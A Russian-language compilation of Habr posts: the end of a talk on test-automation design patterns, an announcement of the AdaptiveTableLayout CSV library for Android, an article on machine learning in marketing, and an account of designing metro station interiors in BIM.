            Этот паттерн может быть полезен тогда, когда, например, вы хотите добавить логирование, вы хотите включить или отключить что-то, вы хотите управлять дополнительно какими-то ресурсами.



            В данном случае самый популярный способ – это использование HTTP proxy для ваших тестов, который позволяет гибко настроить, например, black-листы, и сказать, что когда мое приложение пойдет в твиттер, фейсбук и так далее, я верну такие-то закэшированные результаты или верну ничего. Иногда это единственный способ, благодаря которому вы можете проверить, например, какое-нибудь exceptional-поведение ваших внешних сервисов.

            Другой пример – вы хотите закэшировать нефункциональные ресурсы, такие как картинки или CSS, которые не влияют на ваши тесты, или же вы хотите параллельно с прогонкой тестов собирать http-трафик для дальнейшего анализа, это позволит обнаружить, например, сколько картинок было не найдено, или сколько ресурсов долго грузились и так далее.

            Business Involvement Patterns



            Последний набор паттернов, который мы рассмотрим – это паттерны взаимодействия с бизнесом. Мы пытаемся привести product-owners, бизнес-аналитиков и других людей, отвечающих за требования, так близко к автоматизации тестирования, как только можно, для того, чтобы они видели в ней пользу, и они вкладывались в нее не меньше чем мы, потому что мы – единая команда.

            Keyword Driven Testing


            Для этого используется самый популярный паттерн, который позволяет уйти в тестах как можно дальше от кода: бизнес код не понимает и не должен, но абстрактные команды на человеческих языках он поймет.

            Keyword Driven тест использует ключевые слова — команды, которые выглядят понятно для всех участников процесса. В них могут передаваться какие-то данные, и в этом случае ключевые слова реализуются людьми, которые знают технические детали, умеют их реализовать и присоединить к вашему приложению, а тесты может писать кто угодно – бизнес-аналитик, тестировщик без опыта автоматизации, фрейморк это позволяет.



            В данной конкретном примере из Robot Framework показано, как он выглядит там. Есть множество платных и бесплатных фреймворков, написанных с использованием этого подхода и позволяющих бизнесу из ключевых слов собирать тесты.

            Идея заключается в том, что количество операций в любом приложении конечно. Это значит, что если все операции в приложении реализовать в виде ключевых слов, можно на эти кейворды делать бесконечное количество новых тестовых сценариев, комбинируя их в правильном порядке. Так вы можете обеспечить рабочий инструмент людям, которые хотят вовлекаться.

            Многие критикуют этот паттерн, привнеся его и не понимая зачем, потому что их бизнес не хочет вовлекаться. Тесты у них пишут только тестировщики, и, возможно, только автоматизаторы, и для них это в данном случае является оверхедом – использованием паттерна там, где нет проблематики.

            Behavior Specification


            То же самое касается следующего паттерна – Behavior Specification, который предлагает вместо тестов перейти на описание ожидаемого поведения. Таким образом мы будем описывать фичу в виде поведенческих сценариев.



            В данном случае у нас очень простой сценарий: я говорю, что могу сложить два числа, я ввел 50 и 70 в калькулятор, и, нажав сложить и равно, я должен получить 120. Эти тесты не являются «тестами» в чистом виде, это уже более описание поведения, они понятны всем, но, опять же, – паттерн рассчитан на то, что ваш бизнес очень хочет быть вовлеченным в процесс тестирования, например, делать приемочные критерии в виде таких спецификаций, отслеживать, какие из них проходят.

            Если ваш бизнес к этому не готов, то проблематики не существует и этот паттерн приведет лишь к тому, что вы будете поддерживать лишь еще один ненужный слой абстракции.

            Behavior Driven Development



            Обычно паттерн Behavior Specification используют в концепции Behavior Driven Development, которая говорит о том, что сначала мы должны специфицировать все поведение нашей функциональности, после этого мы должны ее реализовать в коде и написать падающие тесты, и в конце мы получим работающие тесты на низком уровне, поведенческие сценарии на высоком уровне, и все будут счастливы.



            Как вы понимаете, этот кружок будет бессмысленной тратой времени, если никто другой, кроме вас, технических людей, туда не вовлекается.

            Лично я считаю, что если Behavior Driven Development или концепцию Behavior Specification притягивают к unit-тестам или к интеграционным тестам, то это просто бесполезная трата времени.   

            Steps


            Концепция последнего на сегодня паттерна – Steps, интересна вне зависимости от того, используете ли вы Behavior Driven Development, Keyword Driven или Behavior Specification. Когда вы используете логически сценарий, он состоит из шагов. Когда вы реализуете его в коде, зачастую шаги теряются – появляются вызовы каких-то технических деталей, подготовка данных, еще что-то, и очень непросто среди этого вычленить шаги.



            Было бы здорово, если бы мы могли эти логические шаги понимать сразу, тогда можно было бы очень быстро понимать, о чем тест и как его модифицировать, это бы значительно упростило поддержку.

            Поэтому шаги выглядят следующим образом: у вас есть группы шагов, которые организованы по какому-то принципу, и когда вам необходимы шаги, вы создаете их и используете в своем тесте.
            Если вы потом посмотрите на реализацию – в данном случае это реализация напрямую через web-драйвер, они не используют концепцию Page Object, совершенно необязательно мешать эти два паттерна, вы можете ограничиться лишь логическими шагами без посредников. В данном примере получается набор доменных логических команд-шагов, из которых вы можете компоновать ваши тесты.

            Когда вы начинаете работать над функциональностью, у вас есть некоторые приемочные критерии. Они могут быть сформулированы явно или неявно, но они в любом случае должны быть. Если у вас их нет, непонятно, как принимать вашу функциональность, не понять, что она сделана хорошо.  



            У вас есть Page Object или любая другая техническая реализация ваших тестов, и их нужно соединить, для чего и существуют Steps, реализующие логические составляющие ваших тестов.



            Если вы задумаетесь над web-драйвер тестом в верхней части слайда, который написан в концепции Steps, в котором каждый шаг вызывается — он логический, его легко прочитать.

            Если вы посмотрите на вручную написанный сценарий в нижней части слайда, вы поймете, что это в принципе одно и то же, и если вы используете концепцию Steps, многим это позволяет отказаться от дополнительного инструмента для ручного тестирования, потому что все твои шаги – неважно, автоматизированы они или нет, можно включать в ваш фреймворк или напрямую в код, для этого не нужно использовать дополнительный инструмент. Это дает преимущество, позволяя отслеживать, сколько шагов автоматизировано, кто их автоматизировал, сколько шагов работает или не работает, и так далее.

            Нельзя просто так взять и написать классный тест. Один тест написать можно, но сделать, так чтобы по мере того, как количество этих классных тестов росло, как количество людей, которые пишут эти классные тесты, и вы не теряли ни в скорости, ни во времени, которое вы тратите на поддержку этих тестов, ни в каких-то дополнительных ролях, которые вы просто притягиваете за уши, потому что у вас, например, есть какой-то тест-саппорт инженер, задача которого каждый день разбирать проблемы в тестах…



            Если вы не хотите всего этого, вы должны понимать, что есть дизайн-паттерны, которые позволят вам в будущем избежать этих проблем. Зная эти дизайн-паттерны, применяя их по месту, понимая проблематику, вы можете сделать ваши тесты лучше быстрее, производительнее и так далее.
            Надеюсь, было интересно. Спасибо.



            Если вам понравился данный доклад Николая Алименкова, спешим пригласить вас на его очередное выступление в рамках грядущей конференции Heisenbug 2017 Moscow, которая пройдет в Москве 8-9 декабря. На ней Николай расскажет о взаимодействии разработчиков и тестировщиков.
            Вам также могут быть интересны и другие доклады, например:
            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/338836/


            Метки:  

            [Из песочницы] CSV-библиотека Adaptive Table Layout

            Четверг, 28 Сентября 2017 г. 13:12 + в цитатник
            NataliiaKharchenko сегодня в 13:12 Разработка

            CSV-библиотека Adaptive Table Layout

            Библиотеки с открытым исходным кодом играют важную роль в разработке программного обеспечения. Интегрируя интересные функции из той или иной библиотеки, вы можете улучшить свое приложение и сделать его более продвинутым. Если ваше приложение предполагает работу с таблицами, значениями и символами, можно воспользоваться готовой библиотекой, которая позволит работать с CSV-файлами.


            CSV-файл — это текстовый файл, в котором хранится информация в табличном виде, а поля этой таблицы разделяются специальными символами — разделителями. Вот почему этот файл называется Comma Separated Values — значения, разделённые запятыми. Образно говоря, CSV библиотека — это своего рода контейнер для хранения различных функций для работы с CSV-файлами.


            Мы хотели бы обратить ваше внимание на следующее тематическое исследование, которое объяснит, как мы в Cleveroad создали нашу собственную CSV библиотеку AdaptiveTableLayout для Android, как ее использовать и почему она лучше, чем ее аналоги.


            Почему CSV?


            Конечно, вы можете сказать, что вас не удивит разработка ни еще одного CSV-ридера для мобильной платформы, ни соответствующей библиотеки. Но есть одна маленькая деталь, которая отличает его от других. Доступные CSV-редакторы и CSV-ридеры предоставляют практически все необходимые функции, кроме одной — функции управления, которая позволила бы пользователям динамически указывать количество столбцов и строк. Это делает процесс работы с CSV-файлами медленным и менее удобным. Потому мы решили исправить это, следствием чего и появилось наше решение.


            Мы создали CSV библиотеку, функции которой каждый пользователь может применить в своем программном обеспечении. Кроме того, мы разработали CSV-ридер, как демонстрацию практического применения библиотеки AdaptiveTableLayout.


            Конечно, это не трендовое программное обеспечение, которое будет популярно среди пользователей Android. Но если вы работаете с большим массивом информации, эта библиотека может быть очень полезна при разработке программного обеспечения.


            Исследования рынка


            Мы начали исследование рынка для того, чтобы изучить другие доступные CSV-ридеры для Android, проверяя их функции и возможности. Давайте рассмотрим некоторые аналоги для наглядной демонстрации того, что привело нас к созданию своего решения.


            CSV Viewer


            Данный CSV Viewer позволяет редактировать CSV-файлы, а также работать с импортом и экспортом телефонных контактов.


            Слабые стороны


            У него отсутствует функция динамического нумерации. Кроме того, внутри приложения встроена реклама, что может раздражать, когда ты работаешь с документом. И в отличии от нашего CSV-ридера и библиотеки, он не позволяет делать диагональные прокрутки и исправлять заголовки.


            Lightweight CSV Viewer


            В этом CSV Reader есть функция сортировки отображаемых данных, несколько разделителей и отображение номера строки.


            Слабые стороны


            Во-первых, он также содержит рекламу, а во-вторых у него нет функции перетаскивания, когда вы можете перемещать все строки и столбцы в таблице. В отличии от других перечисленных CSV-ридеров, наш может похвастаться такой функцией.


            Easy CSV Reader


            И последний из примеров — это CSV app. Это очень простое приложение, которое предназначено только для чтения CSV-файлов.


            Слабые стороны


            Как мы отметили, это простое приложение, функцией которого является только чтение CSV-файлов. Оно не имеет ни функции редактирования, ни каких-либо других функций, таких как прокрутка, изменение поля ячеек, перетаскивание файлов и т.д. Этот ридер может понадобиться только в случае, если вам нужно создать обычную CSV-таблицу.


            Вдобавок к вышесказанному, мы хотели бы указать на еще одну особенность, которой не хватает CSV Viewer и CSV Reader, — они не могут быстро работать с большими файлами. Но наша библиотека позволяет это делать.


            Проведя исследование рынка, мы проанализировали существующие решения для Android и сделали соответствующие выводы. Мы изменили дизайн нашего CSV-ридера, чтобы сделать его уникальным, создали библиотеку с открытым исходным кодом, чтобы позволить всем желающим интегрировать ее в свое программное обеспечение и выпустили ее в свободном доступе для бесплатной загрузки без рекламы.


            Этапы разработки AdaptiveTableLayout


            А сейчас мы бы хотели подробно рассказать, как мы создавали нашу библиотеку.


            Во-первых, наши Android-разработчики применили технологию RecyclerView, которая использовалась для интеграции функций прокрутки. Затем был создан прототип будущего приложения, чтобы проверить как оно будет выглядеть. Данный этап также включал функциональное тестирование и проверку всех методов работы с библиотекой. Сделав это, разработчики приступили к интеграции новых функций в приложение, чтобы сделать его кастомизированным и уникальным.




            Библиотека была создана с использованием встроенного Android SDK и API 16 уровня.


            Оптимизация и составление документации


            Разработчики привели CSV-ридер в порядок, представив его вместе с соответствующей документацией и подробным описанием работы приложения и использования библиотеки. После чего мы еще раз протестировали нашу библиотеку и исправили найденные ошибки.


            Сейчас приложение CSV Reader доступно на Google Play Store, а библиотека AdaptiveTableLayout на GitHub.


            Функции AdaptiveTableLayout


            Итак, какими функциями может похвастаться наша библиотека:


            • Чтение и редактирование CSV-файлов
            • Изменение положения строк и столбцов
            • Диагональная прокрутка
            • Фиксирование заголовков по краям
            • Изменение поля ячейки
            • Работа с большими файлами без задержек
            • Перетаскивание строк и столбцов



            Помимо этого, библиотека содержит два адаптера данных:


            Первый — BaseDataAdaptiveTableLayoutAdapter, который позволяет работать с маленьким объемом данных. Исходные данные могут быть изменены после активации каждого столбца/строки.


            Второй — LinkedAdaptiveTableAdapter использует матрицу с измененными элементами и ссылками на них. Он может работать с большим объемом данных. Исходные данные не могут быть изменены.


            Перед использованием адаптеров, упомянутых выше, вам необходимо знать точную ширину и высоту строк и столбцов, а также их количество.


            Преимущества AdaptiveTableLayout


            Ни в одной другой библиотеке вы не найдете тех же функций, что и в AdaptiveTableLayout, где вы можете сделать следующее:


            • Диагональную прокрутку
            • Использовать функцию перетаскивания для изменения строк / столбцов
            • Фиксировать длину заголовка
            • Порядковый номер строки меняется при перемещении строки вверх/вниз.



            Основные проблемы, которые нам пришлось преодолеть


            Иногда в разработке приложений могут возникнуть свои нюансы, которые мешают двигаться дальше. Но мы никогда не опускаем рук и справляемся с возникшими препятствиями. Мы хотим поделиться проблемами, которые нам пришлось решать во время разработки приложения.


            • Интеграция функции прокрутки. Другие CSV библиотеки предоставляют только прокрутку вверх и вниз или слева направо. Поэтому разработчики решили интегрировать функцию диагональной прокрутки. Это было нелегкой задачей, так как они хотели сделать это на основе RecyclerView. Прежде, чем это удалось, потребовалось некоторое время, но код выглядел ужасно. Вследствие чего они пришли к выводу, что лучше всего управлять этим вручную и удалить из библиотеки RecyclerView вообще, и использовать его в CSV Reader.
            • Расчет позиций элементов. Было необходимо точно рассчитать где будет расположен каждый элемент. Сложность процесса заключалась в большом количестве расчетов, которые нужно было выполнять программистам.
            • Проблемы с разработкой адаптеров. Потребовалось много времени, чтобы создать адаптер, который будет кэшировать все изменения с перетаскиваниями. Что упростило работу с большими CSV-файлами.
            • Перемещение строк / столбцов. Это не было большой проблемой, но тоже потребовалось время для оптимальной и удобной реализации этой функции.

            Кроме того, в будущем мы планируем добавить функцию «сужения/растягивания» и масштабирования. А также добавить функцию написания справа налево для людей из стран Ближнего Востока.


            В общем, еще предстоит немало работы, чтобы функционал библиотеки отвечал всем нашим требованиям и требованиям других пользователей. Надеемся, у вас будет возможность попробовать ее в действии. Ждем вашего фидбека и предложений.

            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/338902/


            Метки:  

            Machine learning для маркетологов: как увеличить прибыль компании

            Четверг, 28 Сентября 2017 г. 10:50 + в цитатник
            LiveTex сегодня в 10:50 Маркетинг

            Machine learning для маркетологов: как увеличить прибыль компании

              В распоряжении современных маркетологов огромный арсенал цифровых инструментов, тут всё: от систем аналитики до навороченных программатик платформ и различных облачных решений. С другой стороны количество данных, генерируемых пользователями, растет лавинообразно. Их источник — поведенческий фактор в сети и общение пользователей в цифровом мире. Чтобы ориентироваться в этом потоке информации, маркетологам нужны специализированные решения, которые умеют собирать пользовательские данные, обрабатывать и представлять в удобном для анализа виде. Здесь маркетологам помогают искусственный интеллект и machine learning. Machine learning (ML) – подраздел искусственного интеллекта, использующий алгоритмы, которые могут самостоятельно обучаться, то есть их не нужно специально программировать под конкретную задачу.

              По данным MIT Technology Review, 60% компаний в том или ином виде используют ML в своем бизнесе.

              2017 год по данным аналитиков стал годом интенсивного развития и внедрения в бизнес ML. Эта технология находится сейчас на пике кривой зрелости технологий Gartner – значит в ближайшее время ML будет усиленно развиваться, а компании будут вкладывать деньги в эти технологии. Журнал Computerworld отвел ML главное место в списке ценнейших скиллов сотрудников. Маркетологам в первую очередь интересны возможности для персонализированного вовлечения пользователей, которые могут дать алгоритмы ML. Они позволяют делать три главных вещи:
              работать с Big Data и проводить продвинутое сегментирование аудитории;
              проводить предиктивную аналитику поведения клиентов;
              давать рекомендации по корректировке действий в реальном времени.

              Рекомендации
              Компания Netflix, используя предиктивную аналитику для улучшения рекомендаций посетителям сайта, вовлекает их в более активное использование сервиса. Если вы хоть раз пользовались сайтом Netflix, то наверняка видели там раздел рекомендованных сериалов. Все рекомендации предоставляются посетителям сайта при помощи алгоритмов machine learning, которые анализируют ваши предпочтения и «понимают» какие категории фильмов вы любите больше всего. Аналогично работает и система рекомендации товаров на e-Bay.

              Стартап из США IdealSeat, использует ML и deep learning для создания максимально комфортного зрительского опыта на матчах. Сервис анализирует множество параметров, которые могут выбирать зрители при заказе билетов:
              можно решать, где хочется сидеть: в тени или на солнце, в фанатской или семейной зоне и так далее.

              Предиктивная аналитика
              Используя ML, компании могут прогнозировать, когда и зачем с ними свяжется покупатель. Это позволяет персонализировать коммуникацию с клиентами и планировать затраты на содержание службы поддержки. Например, компания может проанализировать музыкальные предпочтения человека, сформировать паттерн его потребительского поведения и вычислить величину его среднего чека в своих магазинах. В принципе, можно даже выявить какие покупки и на какую сумму будут делать любители Битлз, а какой средний чек будет у поклонников ABBA.

              Специалисты Сбербанка уже неплохо научились выявлять и прогнозировать образцы поведения владельцев карт. Например, банк может различать разные активности держателей карт и сводить их к трем основным паттернам: покупки автомобиля, покупки мебели или ремонта и затрат на лечение. В зависимости от этого предлагать соответствующие программы своим клиентам.

              Big Data и гибкое ценообразование
              Технологии ML оптимизируют цены в зависимости от количества товара, тенденций продаж и других факторов. Сегодня 63% пользователей ожидают от сайтов компаний, а особенно интернет-магазинов, персонализацию на основе предыдущих действий. В качестве примера можно вспомнить механизмы персонализации на Booking.com.

              С помощью алгоритмов анализа Big Data маркетологи могут использовать архивные данные и статистику для построения прогнозов. Это уже успешно применяют сервисы мобильной аналитики, например, Amazon Mobile Analytics или Google Cloud Machine Learning.

              Сегментация и таргетирование рекламы
              С помощью ML можно предсказывать конверсию в зависимости от внешних факторов и автоматически корректировать ставки в контексте. Сейчас развитие получило обучение с подкреплением: в систему контекстной рекламы не закладывают изначальной модели. Она начинает взаимодействовать с окружающей средой и получать обратную связь. Свои действия система корректирует на основании собственных оценок качества обратной связи. Например, если контекстная реклама запущена в сфере банковских продуктов, то таким параметром может быть интересность клиенту предложения банка.

              Квалификация лидов
              Алгоритмы ML могут выявлять перспективных пользователей, которые готовы к покупке с максимальной вероятностью. Для этого специалисты по продажам и маркетологи должны совместно разработать свои критерии для оценки «перспективности» контакта. К примеру, алгоритм анализирует языковые паттерны, выбирает слова, повышающие вовлеченность и рост кликов. После чего можно составить список триггерных слов, с помощью которых маркетологи будут писать рекламные объявления.

              Мир очень быстро меняется, сегодняшний потребитель ждет уникального сервиса, он думает, что все будет происходить мгновенно, персонализировано и в любом удобном ему канале. ML здесь большое подспорье и мощный инструмент для маркетологов. Однако для того, чтобы все заработало, недостаточно просто купить и установить специализированный софт. Для внедрения ИИ или ML в организации необходимо создать новые или переформатировать существующие процессы: в первую очередь, поработать над логистикой входящих данных и разработать единые стандарты по их обработке в режиме реального времени.

              По сути существует две большие группы пользовательских данных: информация, которую могут собирать сами компании (средний чек, виды покупок и т.д.) и сведения непосредственно из каналов подключения (интересы, возраст и другие данные о социальной активности пользователя). Вместе все эти данные дадут полный портрет пользователя и картину его предпочтений. Этот массив информации и будет «пищей» для алгоритмов ML.

              Что делать после того, как данные собраны, обработаны и проанализированы? Второй самый важный этап работы с алгоритмами ML — нужно использовать полученные прогнозы на деле, составить подробные карты кто, что, где, когда и как будут покупать.

              Будущее ML

              В теории ML и ИИ могут стать вполне себе автономными и антропоморфными сущностями: превратится в Скайнет или в героев из сериала Черное Зеркало. Вспомним пару недавних случаев с чат-ботами. Первый, когда боты, разработанные командой Facebook, после непродолжительного общения между собой, изобрели собственный язык. Создатели, которые не смогли расшифровать этот неоязык, приняли решение о срочном закрытии проекта. Второй случай чуть более давний: чат-бот, запущенный компанией Microsoft в Твиттере в итоге стал жестким расистом. Уже через сутки после запуска Microsoft удалила наиболее провокационные высказывания бота.
              Однако реальное положение дел показывает, что отечественному бизнесу не стоит боятся разбушевавшегося ИИ. Ему бы научится грамотно запускать контекстные кампании и создавать user friendly сайты.
              Алгоритмы ML и методики его использования в маркетинге и бизнесе, конечно, будут развиваться. Мы выделили следующие точки роста этих технологий:

              Совершенствование механизмов сбора и подготовки данных о клиентах. Сегодня одним из главных ограничений применения ML в бизнесе является низкий уровень качества данных. Сведения часто отрывочны и фрагментированы: например, для одной группы пользователей известен возраст, а для другой — покупательские предпочтения. Улучшить качество данных — значит повысить эффективность работы алгоритмов ML.
              Повышение эффективности ML в бизнесе. Сейчас использовать ИИ выгодно только очень большим компаниям. По различным оценкам эффективность бизнеса от применения ML повышается всего на 2-3%. Это открывает большой простор для будущих совместных усилий маркетологов и разработчиков.
              Развитие систем по сбору клиентских данных. Перед стартом ML с аналитикой и прогнозированием нужно накопить большой массив информации для анализа, а для этого её необходимо собрать, очистить и сегментировать. Здесь открывается большой простор для систем по сбору данных о клиентах и их различных коллабораций.

              ИИ все сделает сам?

              Как бы ни мечтали маркетологи о суперсервисе с единственной кнопкой «Бабло», вряд ли подобное станет когда-либо реальностью. Алгоритмы и вычисления никогда не заменят самого маркетолога. ML — это всего лишь инструмент, пусть и мощный, которым нужно уметь правильно пользоваться. В нашем обозримом будущем машина не сможет понять клиента и сформировать у него потребность в товаре или услуге.
              Данные, полученные с помощью ИИ и ML, в конечном итоге интерпретируются живым специалистом. Его профессионализм, умение правильно выявить ключевые переменные, влияющие на результат, и определяют конечный эффект от применения алгоритмов ML.
              Original source: habrahabr.ru (comments, light).

              https://habrahabr.ru/post/338878/


              Метки:  

              Чем отличается проектирование станции метро от проектирования коттеджа

              Четверг, 28 Сентября 2017 г. 10:35 + в цитатник
              RomanStepan сегодня в 10:35 Управление

              Чем отличается проектирование станции метро от проектирования коттеджа



                В инженерной части, конечно, всем. Список отличий примерно такой же, как у паровоза и апельсина. А вот в части интерьера — минимально. Разве что нет фасадов, нет заполнения наружных проёмов, много уникальных дверей из нержавейки. До КРОК я работал в проектной команде Инжпроекта из 25 человек по 4 станциям, уже новым, то есть достаточно ужатым в плане бюджета. Расскажу на примере «Румянцево», где я отвечал за интерьер.

                У нас в ИТ-компании образовалась команда архитекторов, и поэтому нам часто задают такие вопросы. Постараюсь ответить на этот и ещё пару частых.

                Про метро начнём с того, что сейчас все станции делают уникальными. Раньше, ещё в СССР, были так называемые «сороконожки» (их ещё из-за кафеля на жаргоне называли «туалетными станциями») — их запускали по одной, искали оптимальный вид станции. Даже нашли, но позже пришли к тому, что нужно всё же делать станции различающимися.

                Вводные


                Итак, на входе нашего «коттеджа» — картинка с концепцией от директора метрополитена или главного архитектора города (надо попасть максимально близко к ней по внешнему виду, но в ней не особо много деталей), куча нормативов (самые важные — пожарные), техзадание (с указанием типов материалов) и ещё немного вводных. С точки зрения модели BIM — есть голый объём в железобетоне, который надо заполнить. Конечно, в реальности он, скорее всего, ещё не создан, но в модели проектирования мы заполняем именно его.

                Дальше следует три больших этапа: разбивка на помещения, отделка и инженерка. Второй и третий этапы делаются одновременно, а не друг за другом.



                1. Разбивка на помещения


                Есть объем который определён конструктором: это скелет станции, он состоит из платформы, эскалаторной группы, вестибюля и переходов (если они есть). Это «дается» в железобетоне.

                Дальше технолог говорит, что именно нужно для станции: комната полиции, кассы, вестибюль с турникетами и так далее. Всё это жёстко регламентируется, и это часть моей вводной на интерьер. Плюс есть нормативные требования и стандарты — например, все новые станции имеют подъемники для инвалидов, наклонные пандусы для колясок, есть рифленая тактильная плитка.


                Вот эта плитка. Полоса у края плафтормы, первая и последняя ступеньки лестницы обозначаются контрастным цветом и тактильным выступом.

                Моя первая задача — «нарезать» станцию на помещения. Это отдалённо напоминает трассировку платы: есть много вариантов размещения, но нужно выбрать один из оптимальных. Задача усложняется тем, что по ходу работ требования могут немного меняться. Например, на «Румянцево» постоянно приходилось корректировать, потому что возникали требования по новым отверстиям — работа архитектора, конструктора, инженеров. В конце работы получаются помещения с атрибутами, полная разбивка с площадями.

                Эта разбивка показывается смежникам, отвечающим за эксплуатацию станции. Они в ответ присылают замечания и пожелания в духе «прошу увеличить венткамеру до 25 квадратных метров, сейчас воздуха не хватает на удаление». Пожарные могут отметить: «здесь надо поставить пожарную преграду или противопожарную завесу». Кстати, да, в отличие от коттеджа, станции метро очень тщательно защищаются от пожара: опыт Лондона и других городов показал, насколько это важно. Из того, что обычно не знают пассажиры — то, что на эскалаторах предусматриваются специальные негорючие шторы: они падают и отсекают эскалатор от платформы как раз для того, чтобы не создавать вот этот поток воздуха. Крепления штор можно увидеть на входе на платформу. Некоторые принимают их за гермозатворы или фрагменты дверей бомбоубежищ со времён Второй Мировой, но это не так, конечно.

                В конце этапа есть чёткие границы помещений, и все смежники довольны. Ну, почти все. Кто-то доволен больше, кто-то меньше (например, на этом проекте электрощитовую немного урезали в угоду вентиляции).



                2. Задаём отделку



                Начинается всё, как и в обычной ситуации, с подсчёта и выбора дверей. В нашем случае двери немного особенные — чаще всего они должны быть негорючие с остеклением, либо с нержавейкой. В полицейском отделении ещё и с решётками. Свойства дверей продиктованы требованиями нормативной документации.

                После дверей идёт навигация. Визуальные указатели размечаются до вывешивания люстр и размещения других выступающих вещей (вроде стальных деревьев из пола на «Тропарёво»), потому что навигация важнее. Кстати, в навигации название «Тропарёво» на путевых стенах — единственное пока в метрополитене, написанное с буквой «ё» (то есть с двумя точками над «е»).

                Затем начинаются параллельные процессы. Свет, отделка. Со светом особенности такие: помещение платформы довольно большое, и нужно просчитывать свет очень тщательно. Мы используем специальный софт для моделирования освещения, позволяющий учесть рассеивание, отражение от разных материалов и так далее. Считается он побыстрее, чем распространение звука для стадионов или храмов, конечно (https://habrahabr.ru/company/croc/blog/171147/, habrahabr.ru/company/croc/blog/241305). Выглядит это вот так:



                У всех источников света задаются свойства, а материалы уже известны в целом, поэтому знаем отражение. Тёмную станцию мы просто не можем сделать по нормативу, а вот если она будет светлее, чем в проекте на картинке (и при этом в рамках бюджета) — это чаще всего плюс.

                С материалами отделки по деталям дольше всего на этом этапе. Считаем, например, потолочные панели, считаем пол, стены. Отправляем запросы поставщикам. Про пол — известно, например, из норматива и ТЗ, что это должен быть очень износостойкий материал (миллионы людей за месяц по нему будут ходить), поэтому подходит только натуральный камень. Предположим, это гранит. Мы смотрим, как можно уложиться в концепцию дизайнера и подбираем материал под задумку. Предположим, решили, что гранит у нас будет «сибирский светлый». Дальше начинаются запросы производителям — кто, почём и как быстро изготовит нужное число плит. Один производитель присылает, что может сделать как надо, плиты метр на метр, но дорого. Второй говорит — будут 500х500 мм, но сильно дешевле. И так далее. Размеры плит в процессе выбора поставщика могут меняться.

                Отдельно стоит отметить отделку путевой стены. Ещё в СССР заметили, что вибрация поездов заставляет плитку отваливаться очень быстро. Поэтому сейчас ставится фальшстена на демпферы. Плитку, конечно, надо постепенно менять, но не так быстро, как на первых станциях метрополитена. И это уже задача эксплуатации — они держат достаточный запас плитки. Кстати, у нас на Киевской линии уже есть пара станций, которые могут в перспективе поменять цвет, поскольку российские месторождения соответствующих камней для отделки путевых стен близки к исчерпанию.

                Конец этого этапа — есть конкретный вид станции с детализацией всех материалов, пожароопасность каждого отдельного помещения, пути эвакуации.

                3. Инженерные подсистемы


                Этот этап — самый затратный по времени, потому что состоит из постоянных переделок. Нужно согласовать десятки подсистем (слаботочку, пожаротушение, вентиляцию и так далее) так, чтобы всем смежникам всё понравилось. Если смежник хочет правку, мы корректируем. Мои коллеги тут многое описали.

                Этим проектирование заканчивается, мы сдаем документацию. Её утверждает директор метрополитена и ещё ряд инстанций.

                Дальше уже отдельная задача — авторский надзор, то есть смотреть, чтобы твою документацию правильно воплотили.

                Ещё детали


                В офисном здании можем пристроить 10 лестниц и просто выйти на улицу для эвакуации. А в метро так не сделаешь, поэтому платформа должна иметь очень хороший доступ — два края, с которых можно быстро эвакуироваться.

                Очень важная гидроизоляция. Она во многом диктует материалы, ту же отделку пола, в том числе вестибюля и техпомещений. Ещё наша станция наклонена по длинной стороне платформы.

                Ещё частые вопросы


                Итак, мы занимаемся проектированием в BIM-среде, и у каждого — своя специализация. Давайте немного расскажу про другие частые вопросы коллег и про них самих.

                Вот наша команда:



                Родион Белов — главный архитектор компании КРОК.



                Александр Скрыпник — архитектор, BIM-менеджер.
                Юрий Яковлев — инженер, BIM-мастер.
                Я — Роман Степанов – инженер, BIM-мастер.
                Александр Апханов – инженер, BIM-мастер.

                Вот наши компьютеры:





                Такие странные они потому, что внутри — игровые станции. Нам они нужны для расчётов. Вот спека моей машины:









                Мой коллега Александр работал в генплане Москвы (архитектурной мастерской Сергея Ткаченко, в творческой мастерской «Атриум»), участвовал в рабочке жилого комплекса «Символ» на территории завода «Серп и Молот». Стадию рабочего проектирования делали до гвоздя по LOD 400, коллеги потом даже модели шурупов расставляли.

                Его спрашивают, что там особенного. Сформулировать сложно, потому что деталей очень много. Проект передовой по архитектуре в Москве, и даже не в плане внешнего вида, хотя это один из лучших жилых комплексов, а в плане приспособленности для жизни. 5 домов переменной этажностью от 5 до 27 этажей. Хорошая отделка мест общественного пользования — коридоры, лифты, фойе. Балконы от здания не отрезали (тот же Пик, например, заменяет балконы на подвальные кладовки, чтобы решить проблемы с инсоляцией – жильцы часто на балконе устраивают свалку хлама). Первые этажи общественного назначения: магазины, кафе, спортзал, соцкультбыт. Школа и детсад внутри комплекса. Весь район единой планировки. На первом этаже можно снять офис и сидеть работать. Главная цель — решаем проблему маятниковой миграции, чтобы можно было работать и делать всё нужное прямо около дома, как в компактных пространствах Швейцарии. Удобная среда. Внутри комплекса пешеходный бульвар, машины не заезжают.

                Родион Белов — главный архитектор компании КРОК.
                Наш идейный лидер, потомственный архитектор, окончил МАРХИ. До КРОКа работал в крупных архитектурных бюро в качестве ведущего архитектора и главного архитектора проекта. В КРОКе под началом Родиона реализованы такие проекты, как реконструкция Арбитражного Суда в Смоленске, проектирование одной из ОЭЗ, ЦОД за границей, BIM-модель офисного здания КРОК и даже проектирование инновационного города.

                Юра — уникальный человек по скорости освоения BIM. Он очень плотно ушёл в работу с инженеркой. Именно он — тот человек, который творит чудеса на стадии согласования между смежниками. Говорит, BIM для этих задач просто идеален — на 2D-бумаге очень просто ошибиться, но в 3D можно размесить всё так, что даже очень тупой подрядчик не сможет сильно накосячить. Юре достаются довольно интересные решения. Больше всего он вспоминает короб, который обвился вокруг колонной змейкой — там на проекте главный архитектор согласовал троекратный перерасход материалов, лишь бы уместить все нужные системы. Нужно было обходить несущие конструкции здания, поэтому коммуникации закручивали вокруг элементов. Воздуховод и колонны — как удав обнял дерево.


                Это не ошибка, а сложное проектное решение

                Юра и Саша Апханов занимаются электрикой и СКС, слаботочкой, автоматикой. Наносят на схемы оборудование СКС, автоматики, безопасности — камеры, датчики и так далее, всё автоматизируют.

                Вот примерно такие роли. Ещё сейчас пришли новые люди, они будут заниматься автоматизацией более плотно — например, у нас есть проект, где внутри стадиона ставятся датчики, которые контролируют качество материала, и если вдруг что-то внутри несущих конструкций начнёт ослабевать, либо если возникнет возгорание — они сообщат в эксплуатацию сразу. Сейчас много кто переходит на BIM-проектирование — даже не потому, что там много таких крутых фишек, а просто потому, что с BIM-проектом подрядчикам очень тяжело воровать. Экономия 20-30% где-то.

